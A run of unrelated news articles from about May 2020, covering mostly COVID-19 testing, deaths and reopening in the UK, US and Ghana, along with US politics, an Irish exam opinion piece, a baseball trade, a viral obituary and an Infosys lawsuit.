And Professor Newton replied: 'Well, I think the important thing is that they're only counted once.

'The basis on which we were advised that the decision had been made was that the test should be counted at the point where the programme had control of what happened, and that was the point at which the tests were sent out and made available for testing.

'The key thing is that a very large number of tests are now being conducted and, whichever way you count them, it's a large number of tests - it's a huge increase.'

In the meeting the PHE bosses also admitted that Britain had to abandon its South Korea-esque approach to testing and tracing infections in March because the UK's outbreak was simply too large.

South Korea has earned global acclaim for its policy of intensively testing and isolating everyone in the population suspected of having COVID-19.

This means the cases there have been contained to relatively small areas and the number of them is extremely low (around 11,000 confirmed cases).

Britain had wanted to follow the same strategy but, by the time officials realised the virus was spreading in the UK, it was already too late.

Professor Doyle said today that 'mass contact tracing needed to cease in March'.

She explained: 'It was a decision that was come to because of the sheer scale of cases in the UK which had been introduced by multiple introductions, particularly after half term, from European countries we now know had large amounts of prevalence themselves.'
PORTLAND, Ore.

May 22, 2020

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/PRNewswire-PRWeb/ -- Help.org, a trusted online resource for individuals who struggle with addiction and their loved ones, has announced the Best Rehab Facilities infor 2020. The informational guide recognizes the top 25 rehab facilities based on cost, treatment options, location, accompanying services and more.According to recent studies, drug overdose is the leading cause of death among people under age 50. In, deaths related to opioid abuse increased significantly from 2011 to 2015. Substance abuse among adolescents is also escalating inwith 55 percent of high school students reported using alcohol, 38 percent reported using marijuana, 8 percent reported using prescription drugs without a valid prescription, and 2 percent reported using heroin. With the growing need for accessible and high-quality rehab programs, Help.org has developed a unique ranking process to help connect individuals with treatment providers that meet their needs.The Help.org research team analyzed thousands of facilities across the country and then identified the most cost-effective and highest rated programs in larger cities like. Each facility was evaluated based on rehabilitation services, treatment approaches, cost, special programs for unique demographics and ancillary services. The website also provides information about drug use and side effects as well as educational articles. For a detailed listing of the Best Rehab Facilities inplease visit https://www.help.org/drug-and-alcohol-rehab-centers-in-portland-or/2020 Best Rehab Facilities in(in alphabetical order)A Season for Change Counseling and Hypnosis 532 N. Main Avenue97030 503-997-7734Central City Concern Recovery Center 726 W. Burnside97209 503-944-4410Community Services Northwest 1601 East 4th Plain Boulevard Building 17, Suite B-22298661 360-397-8484Daybreak Youth Services Vancouver Outpatient Counseling 11818 SE Mill Plain Boulevard Suite 213 and 30798684 360-750-9635Hilltop Behavioral Health Center 998 Library Court97045 503-655-8401Native American Rehabilitation Association of the Northwest Residential Treatment Center 17645 NW St. Helens Highway97231 503-621-1069Stewart Behavioral Health Center 1002 Library Court97045 503-655-8264Yamhill County Family and Youth Programs Addiction Treatment Services 420 NE 5th Street97128 503-434-7462ABOUT HELP.ORG Help.org is an online resource for individuals who struggle with addiction and their loved ones. The website provides the latest research through scientifically proven methods, community recovery resources as well as information about local financial assistance. Help.org's team of researchers, activists and writers work together with addiction counselors and other professionals to offer useful and accurate resources to help individuals seeking recovery. To learn more, visit https://www.help.org/.SOURCE Help.org
Rev. Professor Frimpong-Manso, President of the Ghana Pentecostal and Charismatic Council, has asked members of the religious body not to rush the president into taking a decision to reopen churches in the wake of the increasing numbers of the COVID-19 in Ghana.



He told Alfred Ocansey on the Sunrise show on 3FM Thursday May 21 that he would have wished that the churches are opened because they can serve as agent for education for the COVID-19, but if the president, in his own wisdom thinks it is not safe to reopen churches, he should be given all the cooperation.



As part of the efforts to deal with the problem, President Nana Addo Dankwa Akufo-Addo placed a ban on all social gathering including church services.



The number of confirmed COVID-19 cases in Ghana has risen to 6,269 on May 20, according to the Ghana Health Service.



The number of recoveries has also risen to 1,898 from 1,773. The death toll remains the same  31.



Prof Frimpong-Manso told Ocansey that: Three things could have happened if the churches had been opened; It could have increased the numbers because it is already increasing; they could have made a number stable or it might have played no significant role; they might have even probably decreased the numbers. But I am glad that we have not been operating until now but that should not be the status quo forever.



If the churches are given the chance, provided they obey the safety protocols, I think they could have done something.



Those who come to church are the same people who go to the market, the same people who flood certain places, the same people who go to funerals so there are some guidelines for these people.



Even though they are observing these guidelines, its increasing.



I believe that the church could have been an agent of educating and teaching and supporting the frontliners in making things happened.



Nevertheless, should the president feel or should he think that it is still not right, he has got the mandate and no church should fight him, or try to feel that by all means we should come.





Source: 3news









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The cancellation of this year's Leaving Certificate has, inevitably, resulted in many unexpected issues.

The calculation of grades by teachers is a daunting task, particularly using data from tests and mocks that were never intended for this purpose.

As a former secondary teacher, I have found myself wondering whether I could have accurately predicted my students' grades.

With a lack of alternatives for the class of 2020, however, I trust in the professionalism of our teachers.

I have confidence in the collaborative review process, and I expect that the national standardisation of grades by the Department of Education and Skills will be done with the highest rigour of statistical analysis available.

We should take this opportunity to consider if our current exams are truly fit for purpose.

One of the reasons people are loath to consider alternatives to our high-stakes system is the image of objectivity and equality it portrays. Unfortunately, the Leaving Certificate may not be as fair as we think.

School size and Deis status affect the likelihood of students taking subjects at higher level and the average overall points achieved.

Grinds have almost become a norm of sixth-year education, but not all students have the opportunity to avail of private tuition.

Students choose their subjects not based on their passions or interests but on their likelihood of achieving in the points race to third level. All is not fair in Leaving Cert learning.

A study by Dr Denise Burns found the majority of Leaving Certificate exams assessed lower-order thinking skills, such as memorisation, as opposed to higher-order skills of analysing or evaluating.

While knowledge of facts is important, at the completion of their compulsory education we should hope our young people can synthesise, apply and even create knowledge. Yet, we don't assess or reward them for these skills.

Taking maths as a particular example, it is an unwelcome truth that girls have been far less likely to achieve A and B (now H1, H2 and H3) grades in the last 10 years than was previously the case.

This is not due to girls having less ability, but may be due to how the tests are written and how boys are more likely to study physics and applied maths and may hence have an advantage with certain elements of the papers.

More research on these issues is required, but we cannot overlook the biases in our present system.

Looking to our European neighbours, not many have a terminal high-stakes exam worth 100pc.

In the Netherlands, tests held over the final years of secondary school are written and corrected by teachers and count for 50pc of their end grade with a final exam.

In Germany, school exams from the final two years count for 70pc of the overall grade with the Abitur (their Leaving Cert equivalent) making up the final 30pc.

The International Baccalaureate has a main exam worth 80pc with an additional research project worth 20pc.

In this system, however, continuous assessment is incredibly important for students since it is used to predict entry grades for university.

The final exams have been cancelled in many countries, but it has not resulted in chaos or uncertainty.

There are, naturally, concerns about potential biases of teachers correcting their own students' work.

In the UK, many flaws have been pointed out in their predictive grading system where teachers suggest in October how students might do the following summer.

Students from lower socioeconomic backgrounds, black and Traveller children are more likely to be given an underestimation of their grades, with students from Asian backgrounds often awarded an over-estimation.

Fortunately, we have one of the most qualified cohort of teachers in the world, who now graduate at Masters level in order to be certified.

We also have well established and connected professional development services and teacher associations that regularly offer learning opportunities.

Teachers are the primary agents of change in the classroom and our teachers are well-placed to learn to write and assess their students' learning.

Reviews could address instances where teachers may under- or over-calculate their learners' achievements.

A phased introduction of a revised assessment system could be planned, with 10pc of continuous assessment for the sixth years of 2023, 20pc in 2024, and so on.

These continuous grades could also be used for students who are unexpectedly ill or bereaved at exam time.

Education is not about grades; it is about preparing our young people for the challenges they will meet in the world.

We can incorporate other ways of assessing learning that truly reflect what students know and can do that will be fair and demonstrative of their experiences outside of school.

It's time to re-think the Leaving Certificate.

Dr Aoibhinn Ni Shuilleabhain is assistant professor in the UCD School of Mathematics & Statistics and programme director of BSc in Mathematics, Science and Education
Kennedy Ohene Agyapong says his mission is to expose fake pastors such as 'Bishop Daniel Obinim and Pastor Emmanuel Badu Kobi, who are taking advantage of innocent souls of God.



According to the Assin Central legislator, he has no intention of targeting churches. Rather the few charlatans who are hiding behind the pulpits while lavishly swimming in wealth must be exposed.



Why will I target churches, why will I target pastorsnot all pastors are fake. There are genuine ones but there are fake ones like Obinim, like Badu Kobi. I can talk about these two people because Ive done the investigation, and I have a lot of evidence against them, he said in a recent interview with Joy News.



He continued: Im going to take another video of Obinim to EOCO. He was bragging saying that hes bought property of 166 rooms in America. There is no house in America that has 166 rooms.



Mr Agyapong further indicated that EOCO could find Obinim culpable because the latter stated in a video that he transferred the money and this will land him into trouble.



When he was asked why he was targeting Obinim, the MP said the man of God threatened to deal with him for a whole year and he [Agyapong] enjoyed that.



I like people who are bold like that. So, is it a target? he quizzed.



He noted that due to the comments from the pastor, he sent his missiles. These young men were going on radio, television insulting me, but Im focused. Ive 1001 evidence against him.



Bishop Daniel Obinim is still in custody after allegedly failing to meet his bail requirements.



He has been charged with the offence of publication of false news and forgery of documents contrary to sections 208 and 159 respectively of the Criminal and other offences Act, (1960; Act 29).



To this, Kennedy Agyapong said, After the police, EOCO will come in too. Ive sent the people there; theyve investigated the transfers. He puts money into peoples accounts and he transfers to spend; thats money laundering, its also coming up. I am not going to rest.



He explained that, whilst investigating Obinim who owns and is the Head Pastor of the International Gods Way Church, he realised that the latter had done harm to a lot of innocent people in this country and I have to let Ghanaians know.

Source: ghanaweb.com









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The Rays made their deal for Braves reliever Rafael Soriano official today, tweets Marc Topkin of the St. Petersburg Times. He says the Rays came to terms on a one-year, $7.25MM deal with Soriano, who was acquired from Atlanta for reliever Jesse Chavez. A reminder on how this all played out:

On December 1st, the Braves made arbitration offers to Type A free agent relievers Soriano and Mike Gonzalez, expecting both to decline. The Braves moved quickly to sign Billy Wagner and Takashi Saito in the days following, making it clear that Soriano and Gonzalez would have lesser roles if they returned. Gonzalez, a Scott Boras client, declined arbitration. But after his agent talked to teams all day Monday at the Winter Meetings, Soriano decided the best move was to accept arbitration (otherwise, he would've cost his signing team a draft pick). The Braves held talks with the Orioles, Astros, and Rays at the Meetings, eventually shipping Soriano to Tampa Bay for Chavez. So the Braves hoped to get two draft picks for the loss of Soriano, but instead received five years of Chavez.

And from the Rays' point of viewback in November, a few days before they had to decide between second baseman Akinori Iwamura's $4.85MM option and a $550K buyout, they traded him to the Pirates for Chavez. It was a solid move, Chavez being under team control through 2014. Still, he wasn't a guy to whom they'd hand over the ninth inning. The Rays were expected to add a few bargain free agents to compete for the closer job, with owner Stuart Sternberg saying on December 6th, "There is no $7 million closer showing up." Maybe Sternberg was being literal, as the Rays sent Chavez to the Braves and now have a $7.25 million closer.
P eople who have no symptoms of coronavirus must be prepared from June 1 to do their bit by self-isolating for 14 days if told they could be a carrier, the Health Secretary warned today.

Writing exclusively in the Evening Standard , Matt Hancock revealed the move to test and trace will impose a new social responsibility on the public to stay at home for two weeks even if they feel well.

He announced 300 million of grants to local authorities to hire an army of officials who will help ease the country out of lockdown and back to work by investigating every new known infection and alerting those who could possibly have caught it.

Everyone will have a part to play, Mr Hancock said, appealing to the country to help prevent a new peak of Covid-19 as the economy and society recovers.

Not just hygiene and social distancing, but getting a test if you have symptoms, and under the new system, self-isolating if youve been in close contact with someone who tests positive. That way, under test and trace, people who have been in contact with a positive case and are at higher risk can isolate, and we can ease more measures on everyone else.

Details of the new rules will be spelled out by the Government next week ahead of the June 1 launch.

The power to impose fines on people who disobey exists under emergency legislation, but it is not yet clear whether they will be needed to support the new policy.

Another detail to be decided on over the coming days is whether spot checks will be carried out on people at home to make sure they are not secretly going out or working as normal.

A woman on the London Underground / PA

People returning from abroad will have to quarantine for a fortnight, Home Secretary Priti Patel was expected to confirm this afternoon, with spot checks and fines of up to 1,000 to ensure good behaviour.

Mr Hancock however emphasised the social contract between the public and the contact-tracing drive.

At stake is whether the whole country has to stay in the quasi-quarantine of lockdown, or just those believed to be a potential risk of spreading Covid-19.

This is where our new test and trace service comes in, so we can hunt down this virus and give it nowhere to hide, he wrote.

It will be run locally in partnership with London boroughs and other councils nationwide. We will work with them to reduce the spread of coronavirus in their area, harnessing their local knowledge and mobilising boots on the ground.

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At present people must self-isolate if they or a family member have symptoms. Under the new system, they could get a phone call from an official ordering them to isolate.

Last night it was revealed that 17 per cent of Londoners have antibodies meaning they have had coronavirus. Outside the capital the rate is just five per cent.

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The number of new cases is clearly falling, and Londoners are doing their bit, Mr Hancock wrote. London will emerge stronger than ever before.

In key developments as the country waited for the next phase of Boris Johnsons exit strategy:

Scientific papers from the Sage advisory committee were set to support a cautious and phased return of primary schools from June 1, albeit with caveats about the need to monitor it, sources indicated. Cabinet Minister Brandon Lewis said: I hope that that will give the confidence to schools, to teachers parents and the local authorities to see that its safe with the right conditions to get those children back into school from the first of June onwards.

Government borrowing spiralled to 62.1 billion in April, more than the whole of last year, Office for National Statistics figures revealed.

National testing co-ordinator Professor John Newton confirmed that the NHSX tracing app will not be ready on June 1. He said there are no plans yet for weekly testing of care home residents and workers.

Transport for London announced it will reintroduce bus fares tomorrow in the latest move by Mayor Sadiq Khan to tackle TfLs debts. Customers on 85 routes served by more than 1,200 buses will initially need to touch in with their contactless, Oyster or concessionary card when they board.

Researchers began recruiting volunteers for the next two phases in clinical trials of a possible a coronavirus vaccine. They asked for 10,260 people across the country to come forward. Professor Andrew Pollard, head of the Oxford Vaccine Group, said: We are now initiating studies to evaluate how well the vaccine induces immune responses in older adults, and to test whether it can provide protection in the wider population.

A care home boss has called for regular testing of residents and staff. Sam Monaghan, chief executive of MHA, told BBC Radio 4s Today programme that three per cent of staff and five per cent of residents did not show Covid-19 symptoms but then tested positive.

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He added: If you have got people walking around the home, interacting with others, then you are going to have that real risk of continuing to bring the infection in. And with the relaxation of some of the lockdown measures out in the community then there could be the potential for some of our staff to then be more susceptible to picking up the virus and bringing it into our homes.

Of the 28 MHA care homes involved in a government pilot of whole-home testing, 20 were found to have at least one member of staff or resident who were asymptomatic with Covid-19.
Joe Biden, the presumptive Democratic presidential nominee, has had a testy exchange with a prominent black radio personality over his support among black voters and his potential running mate.

Charlamagne Tha God pressed Mr Biden on reports that he is considering Minnesota senator Amy Klobuchar, who is white, to be vice president and told him black voters saved your political life in the primaries and have things they want from you.

Im not acknowledging anybody who is being considered, Mr Biden said. But I guarantee you there are multiple black women being considered. Multiple.

.@JoeBiden: "If you have a problem figuring out whether you're for me or Trump, then you ain't black." @cthagod: "It don't have nothing to do with Trump, it has to do with the fact  I want something for my community." @breakfastclubam pic.twitter.com/endvWnOIV2  America Rising (@AmericaRising) May 22, 2020

A Biden aide then sought to end the interview, prompting the host to say: You cant do that to black media.

Mr Biden responded I do that to black media and white media and said his wife needed to use the television studio.

He then added: If youve got a problem figuring out whether youre for me or for Trump, then you aint black.

The host countered that conversations about Mr Bidens running mate are not about President Trump, who many black voters view as racist.

Take a look at my record, Mr Biden said, citing his work as senator to extend the Voting Rights Act of 1965.

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The NAACP (National Association for the Advancement of Coloured People) has endorsed me every time Ive run. Come on, take a look at my record.

Joe Biden with Barack Obama (Pablo Martinez Monsivais/AP)

Mr Biden has emphasised his relationship with black voters throughout his campaign, noting throughout the primary campaign his dependence on black voters in his Delaware Senate races and his partnership as former president Barack Obamas top lieutenant.

Black voters resurrected Mr Bidens campaign with a second place finish in the Nevada caucuses and a resounding win in the South Carolina primary after he had started with embarrassing finishes in overwhelmingly white Iowa and New Hampshire.

Older black voters especially sided with him over a wide Democratic field that included several black candidates, including Kamala Harris. The California senator is widely believed to be a contender for the vice-presidential nomination.

Other prominent black women named include Georgia voting rights advocate Stacey Abrams, Atlanta mayor Keisha Lance Bottoms, Florida representative Val Demings, Ohio representative Marcia Fudge and Susan Rice, Mr Obamas former ambassador to the UN.

Symone Sanders, a senior adviser to Mr Biden, said later that his parting comment in the interview was made in jest.

Lets be clear about what the VP was saying, Ms Sanders tweeted. He was making the distinction that he would put his record with the African American community up against Trumps any day. Period.

Mr Trumps campaign seized on Mr Bidens comments.

He truly believes that he, a 77-year-old white man, should dictate how black people should behave, said Katrina Pierson, a senior adviser to the presidents campaign.
T he number of people who have died in the UK after testing positive for coronavirus has risen to 36,393.

It is a rise of 351 from the figure announced on Thursday, the Department of Health and Social Care said.

In the 24-hour period up to 9am on Friday, 140,497 tests were carried out or dispatched, with a total of 80,297 people tested with 3,287 positive results.

Overall a total of 3,231,921 tests have been carried out on 2,144,626 people, and 254,195 cases have been confirmed positive.

The UK's death toll has now passed 36,000 / Getty Images

NHS England announced 121 new deaths, bringing the total of confirmed reported deaths in hospitals in England to 25,388.

The latest fatalities were aged between 41 and 98-years-old and three had no known underlying health conditons, NHS England said.

In Scotland, First Minister Nicola Sturgeon said a total of 2,245 patients have died after testing positive for coronavirus, up by 24 from 2,221 on Thursday.

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Public Health Wales said a further seven people have died after testing positive for Covid-19, taking the total number of deaths in Wales to 1,254.

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Meanwhile, a further three lives were lost to the virus in Northern Ireland taking its total to 504.

The UK-wide rise in deaths is up from Thursday's DHSC figure of 338, but is a decline on last Friday's level of 384.

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An amusing obituary for a 65-year-old man has prompted an outpouring of tributes on social media in memory of a man described as a living, breathing hang loose sign.

Randall Jacobs, from Phoenix, Arizona, died on 4 May at the age of 65. This week, a photo of the newspaper obituary written for Jacobs has gone viral, after it was shared on Twitter, where it has since been liked more than 116,000 times.

According to the obituary, Jacobs, known to his friends as RJ and to his family as Uncle Bunky or The Bunkster, died after having lived a life that would have sent a lesser man to his grave decades earlier.

Describing Jacobs as a man who burnt the candle, and whatever else was handy, at both ends, the obituary remembers the 65-year-old for his humour and larger-than-life personality.

He spoke in a gravelly patois of wisecracks, mangled metaphors, and inspired profanity that reflected the Arizona dive bars, Colorado ski slopes, and various dodgy establishments where he spent his days and nights, the tribute reads.

Jacobs was also reportedly a family man who liked to tease his nephews, and who was known for his Bunky-isms, which included the sage advice to Do what Bunky say. Not what Bunky do.

The obituary also reflected on the other sides of Jacobs, describing him as a gentle soul, despite his chaotic energy and hysterical charm.

A night out with Bunky could result in a court summons or a world-class hangover, but his friends and family would drop whatever they were doing to make a trip out to see him, the obituary states. His impish smile and irreverent sense of humour were enough to quell whatever sensibilities he offended.

He didnt mean any harm; that was just Bunky being Bunky.

The obituary concludes with the acknowledgement that the party will never be the same without him before asking that in lieu of flowers, those who want to remember Jacobs instead pay someones open bar tab, smoke a bowl, and fearlessly carve out some fresh lines through the trees on the gnarliest side of the mountain.

On Twitter, thousands of people have shared their condolences to Jacobs, despite not knowing him.

Oh my gosh, what a fun life Bunky must have had, and what an awesome obit. Death isn't a happy situation but I found myself smiling as I read it. I think Uncle Bunky would have been pleased, one person tweeted.

Another said: I already miss him, and I didnt know about him until five minutes ago.
WASHINGTON  U.S. Sen. John Cornyn has called one of his Democratic challengers Restful Royce, a Trump-style nickname that its target, longtime state Sen. Royce West, calls a racist dogwhistle that plays into stereotypes about African Americans being lazy, on welfare and the like.

He knows that, his staff knows that, West said in an interview with Hearst Newspapers. So the question is, is he going to begin doing the thing the president does, trying to be a bully?"

West, a multi-millionaire who runs a Dallas law firm, has served in the Texas Legislature for nearly 30 years and is one of two Democrats vying in a July runoff election to challenge Cornyn.

TEXAS TAKE: Get political headlines from across the state sent directly to your inbox

West said hes asking Cornyn to apologize and demand his campaign stop with the stereotyping and the name calling.

An apology seems unlikely.

Cornyns campaign declined to comment, but campaign press secretary Krista Piferrer told the Dallas Morning News Restful is a pseudonym for quiet, calm, tranquil and leisurely  all words that describe the pathetic campaign that West has been running; one that lacks any sort of policy depth, financial backing or inkling of grass-roots support.

However, lest we continue to offend Royce, and considering his defense of Wendy Davis radical positions on abortion and his radical desire to eliminate the oil and gas industry, we will now start calling him Radical Royce, she said. Youre welcome.

Cornyn has called Wests complaints ridiculous.

"I wonder what Royces reaction was when ... Trump called Jeb Bush low energy. Did he think that was racist? the senator told the Texas Tribune. I mean, come on. This is ridiculous.

Cornyn, a former Texas Supreme Court justice, is running for his fourth term and has never had a foe get within 12 percentage points in a general election. His campaign has amassed nearly $13 million for a re-election fight many expect to be his closest yet.

Cornyn said West is trying to get attention in a time when nobodys paying attention to the Democratic runoff.

BUILDING THE BASE: As West zeroes in on the votes of minorities, Hegars strength is her appeal to women voters

West faces former Air Force pilot MJ Hegar in the runoff, which is set for July 14. The two emerged from a crowded field of Democrats vying to take on Cornyn.

West has sought to build his support among minority voters in the race, vowing in March to bring Latinos and African Americans further together, as well as Anglos and others. We will pull together a coalition of people in this state.

Wests campaign this week launched a web ad that, in addition to mentioning the racist dog whistle, says Cornyn said little or nothing when the president attacked congresswomen of color and called Baltimore, a majority black city, a disgusting, rat and rodent infested mess.

It also accuses Cornyn of making flagrantly racist comments about the coronavirus. The senator in March faced criticism for blaming Chinese cultural practices for the coronavirus outbreak, saying these open meat markets that serve everything from bats to tapirs to snake to dog meat, and some of these viruses that have previously been only in animals have then jumped to human beings in creating this particular outbreak, and thats a very serious problem we need to address.

Cornyn has never done this before that I know of. Now all of a sudden he wants to lower himself to start calling people names. Thats Trump politics, West said. Im going to start calling him Trump, Jr. Hes trying to engage in the same kind of bullying tactics Trump has.

ben.wermund@chron.com
EAGLEVILLE  Montgomery County officials reported a dozen more deaths from the coronavirus on Wednesday and reminded residents that theres still very real risk of virus transmission in the community.

Commissioners Chairwoman Dr. Valerie Arkoosh on Wednesday reported a slight increase in the number of people hospitalized with COVID-19 to the low 260s, which is an increase from two days ago when we were down to 250. About 24 percent of those hospitalized do require ventilators, Arkoosh added.

Overall, Between April 16 and May 15, a community-based drive-thru testing site at the central campus of the Montgomery County Community College in Whitpain tested 5,855 individuals. As of Wednesday, officials had received results for 5,707 individuals and 793 of the individuals tested positive, representing a 14 percent positivity rate over the 25-day period. Thats a reduction from the highest positive rate of 24 percent that was recorded during the first week of April.

Arkoosh pointed out that for individuals tested on May 7, 8, 11 and 12 the positivity rates were below 10 percent.

However, for individuals who were tested most recently on May 13, 14 and 15, the positivity rates jumped to between 15- and 19-percent.

As I also noted we have seen a slight uptick in our hospital admissions. These two data points serve as a reminder that we remain in a situation where there is still very real risk of virus transmission in our community, Arkoosh addressed county residents during a daily news briefing with all officials communicating from their homes or by phone.

Please continue to stay home as much as possible and when you are out in public follow the social distancing guidelines. Wear a mask to protect others. Cover your cough or your sneeze. Wash your hands with soap and water or use hand sanitizer as frequently as possible, added Arkoosh, who was joined at the daily briefing by fellow commissioners Kenneth E. Lawrence Jr. and Joseph C. Gale.

The latest 12 deaths from COVID-19 bring the countys death toll to 548 since March 7, when the first two cases of the virus were identified in the county. The latest reported deaths included individuals who ranged in age from 66 to 95.

To date, 298 females and 250 males have died from the virus in the county. Arkoosh added 479 of the total 548 COVID-19 deaths were individuals who resided in long-term care facilities, comprising about 87 percent of the total deaths.

The 548 total deaths were confirmed positive COVID-19 cases through the use of lab tests.

Arkoosh added 179 other deaths in the county have been listed as probable COVID-19 deaths. Those are deaths that list COVID-19 as a cause of death on a death certificate but in which there was no laboratory confirmation of the virus.

Additionally, officials reported a total of 111 new positive cases of the virus on Wednesday, bringing the countys total number of cases to 6,126 since March 7. Seventeen of the latest individuals to test positive resided in long-term care facilities in the county while the majority of cases, 94, were other residents in the community.

The new positive cases included 55 males and 56 females who ranged in age from 4-months to 99. The individuals were residents of 32 municipalities and to date, all 62 of the countys municipalities are home to individuals with COVID-19.

Officials continue to monitor coronavirus data from the 75 long-term care facilities in the county that are licensed by the Pennsylvania Department of Health as well as from other congregate care settings in the county, for a total of about 620 facilities.

As of Wednesday, 94 of the facilities reported positive COVID-19 cases among residents and staff. Specifically, officials reported there are 1,734 cases among residents of the facilities and 628 cases among staff at the facilities, for a total of 2,362 positive individuals.

County officials do not have direct jurisdiction over the long-term care facilities.

But the countys Office of Public Health has had teams, including trained nurses, visiting many of the facilities during the last several weeks to advise operators about federal and state health guidelines. The team has seven re-visits scheduled this week, as well as first-time visits to three facilities, officials said.

Additionally, at least four of the countys long-term care facilities experiencing COVID-19 outbreaks are slated to receive some assistance from federal and state health officials via special strike teams that will visit the facilities and offer guidance during the next two weeks, officials said.

They are hoping to schedule visits soon, I believe they said, next week, Arkoosh said.

While some public officials have criticized state health officials, claiming the state has failed nursing homes, Arkoosh said she remains confident in state Secretary of Health Rachel Levine.

We have had a very collaborative relationship with the Pennsylvania Department of Health. Weve had, in my view, very helpful and honest conversations with one anotherso overall, it has been a good relationship and a collaborative relationship and I do have very good and strong confidence in Secretary Levine, Arkoosh said.

The drive-thru testing site in Whitpain is open from 10 a.m. to 4 p.m. daily as testing supplies allow. Registration for each days appointments will open at 8 a.m. daily and will remain open until all available spots are filled. Individuals can register online at www.montcopa.org/COVID-19

Individuals who do not have access to the internet or do not have an email address can call 610-631-3000 to register for a testing appointment.

A walk-up community-based testing site for Norristown residents is located on the parking lot of the Delaware Valley Community Health Norristown Regional Health Center, 1401 DeKalb St. The free testing is provided by appointment only from 11 a.m. until 1 p.m. Monday through Friday.

In addition to being available to test Norristown residents, the site also offers tests to all established patients of the Delaware Valley Community Health Center regardless of where they reside, officials said.

Those who wish to schedule an appointment for testing can register by calling 610-592-0680 beginning at 8:30 a.m. daily.

The Rite Aid Pharmacy located at 1856 N. Broad St. in Lansdale also is offering no-cost testing for anyone over 18. Officials said appointments for the tests may be scheduled online by visiting www.riteaid.com/pharmacy/services/COVID-19-testing

A drive-thru testing site also is available at the CVS Pharmacy at 840 South Valley Forge Road in Lansdale. For more information and to make an appointment, residents can visit www.cvs.com and click on COVID-19 Resources.
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The class action suit filed in the US against Infosys was dismissed by its plaintiffs, shareholders in the US, without prejudice.

The lawsuit case was filed in October 2019 in the United States District Court against Infosys, its CEO Salil Parekh and CFO Nilanjan Roy after a whistleblower complaint had surfaced.

The whistleblowers accused Parekh and Roy for accounting irregularities and "unethical practices" to boost growth numbers. Following the report, Infosys' share price tanked close to 16 percent on the BSE and the US stock exchange NYSE, wiping out its market cap by nearly Rs 50,000 crore.

The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the Company's publicly traded securities between July 7, 2018 and October 20, 2019, and alleged claims for violations of the US federal securities laws, according to a company statement.

On May 21, 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice, the statement added.

According to reports, the US-based Schall Law Firm and Rosen Law Firm, filed the lawsuit to investigate potential securities claims on behalf of Infosys shareholders in the US.

Indias second-largest tech major released the detailed report on the outcome of its audit committee investigation on a whistleblower complaint in January, which gave clean chit to Infosys. The investigation was done with the assistance of independent legal counsel Shardul Amarchand Mangaldas & Co and PricewaterhouseCoopers.

In March, the US Securities and Exchanges Commission, which was investigating the case gave a clean chit to Infosys.
Citizens around the globe mostly gave their respective governments a poor report card on their handling the coronavirus, according to a recent poll. China and Vietnam were the best-performing nations  though not for the same reasons  given their divergent experiences with the pandemic.



Only seven of 23 nations in a public opinion poll by Blackbox Research and Toluna scored at least 50 out of 100 on handling the virus, which has dented western psyches and expectations of national preparedness, Blackbox said.



China topped the list with a score of 86, followed by Vietnam with 77. All of the top 10 are in Asia, except the United Arab Emirates and New Zealand. In explaining Asias success compared with the west, Johns Hopkins professor Kent Calder has cited a mix of fast and experienced technical responses, as well as civil liberties restrictions.



What China and Vietnam both have in common is they started acting on COVID-19 before most others and had experience with past epidemics that afforded them technical and intellectual capacity. They also are one-party states that surveil and censor. They each earned different reputations, however, for transparency in the responses, so their citizens high approval ratings require different explanations.



While China and the U.S. are blaming each other for COVID-19, Vietnam has been treating patients early, testing and using contact tracing, restricting mobility and using data to make decisions.



Vietnamese authorities have reacted immediately, decisively, and with a degree of severity, Australian Strategic Policy Institute senior analyst Huong Le Thu wrote for the Council on Foreign Relations blog.



She said the countrys zero deaths and low infection rate strengthened Vietnams international positioning and reputation, and boosted public confidence in the government.



Kashif Ansari, CEO of IQI Global Group, a property consulting firm, called Vietnam a safe haven in the region.



It is no surprise that the Vietnamese feel their country has responded well, he said of the public opinion poll.



Skeptics ask if Vietnams success is aided by underreporting of cases, a network of security officials, and limits on new and old media. But academics Trang Nguyen and Edmund Malesky argue that focusing on authoritarianism misses the Southeast Asian nations steady improvements in health care, information access, and corruption control.



They say Vietnam spent decades making local government more responsive and professional, which enabled coordination between central and provincial officials amid COVID-19. The government has taken steps to better transparency, for instance, by posting details of all virus cases online and explaining why it didnt count one fatality from liver failure as a COVID-19 death.



Vietnams online network of activists, while still critical of privacy violations and the lack of freedom of speech, has not raised the alarm on widespread fatalities or coverups, Nguyen and Malesky wrote in a Brookings analysis. Thus, while under-counting is possible, public disclosures open space for discussion and allow for corrections if needed.



Although Vietnam controls domestic newspapers and the internet, public opinion is based on greater access to information than is available in China. Beijings Great Firewall includes bans on Facebook, Google, and other sources of information that remain available in Vietnam. Unlike its smaller neighbor, China expelled major foreign newspapers in March amid the COVID-19 chaos. The restrictions decrease the odds of foreign criticism reaching Chinese citizens.



Of the public opinion survey, David Black, Blackbox founder, says, The Chinese are exceptionally satisfied, which could be attributed to how they are already in their post-COVID-19 recovery phase.



As for nations that fared worse, he said, the poll shows major cracks in self-belief across the western world. Surveyed citizens in places like the U.S., France and Japan tended to say their leaders reacted too slowly or that they were surprised their governments werent prepared for a health crisis.



Western nations can draw lessons from Asia, Calder said in an interview with his universitys news center, the Hub. Lessons include greater contingency planning for crises like the pandemic, possibly including strategic storage of medical supplies and simplified supply chains.
Dauphin County and seven other counties will enter the yellow phase by May 29 as Gov. Tom Wolf continues to gradually reopen Pennsylvania.

After shutting down much of the state to slow the spread of the coronavirus, the Wolf administration said every county in Pennsylvania will be lifted from the stay-at-home order by June 5.

Here are the counties lifted from the stay-at-home order on May 29: Dauphin, Franklin, Huntingdon, Lebanon, Luzerne, Monroe, Pike, and Schuylkill.

The Wolf administration also announced 17 counties will go to the green phase on May 29, which means all businesses can reopen as long as they follow state and federal guidelines.

These counties go green next week: Bradford, Cameron, Clarion, Clearfield, Crawford, Elk, Forest, Jefferson, Lawrence, McKean, Montour, Potter, Snyder, Sullivan, Tioga, Venango and Warren.

Wolf has been relaxing restrictions across Pennsylvania in recent weeks as the curve has flattened. More than 65,000 people have contracted the coronavirus and nearly 5,000 deaths have been tied to COVID-19.

About two-thirds of the states coronavirus deaths have occurred in long-term care facilities, such as nursing homes. The Wolf administration plans to test all residents in nursing homes on a weekly basis, as lawmakers and advocates urge state officials to take more action to protect vulnerable seniors.

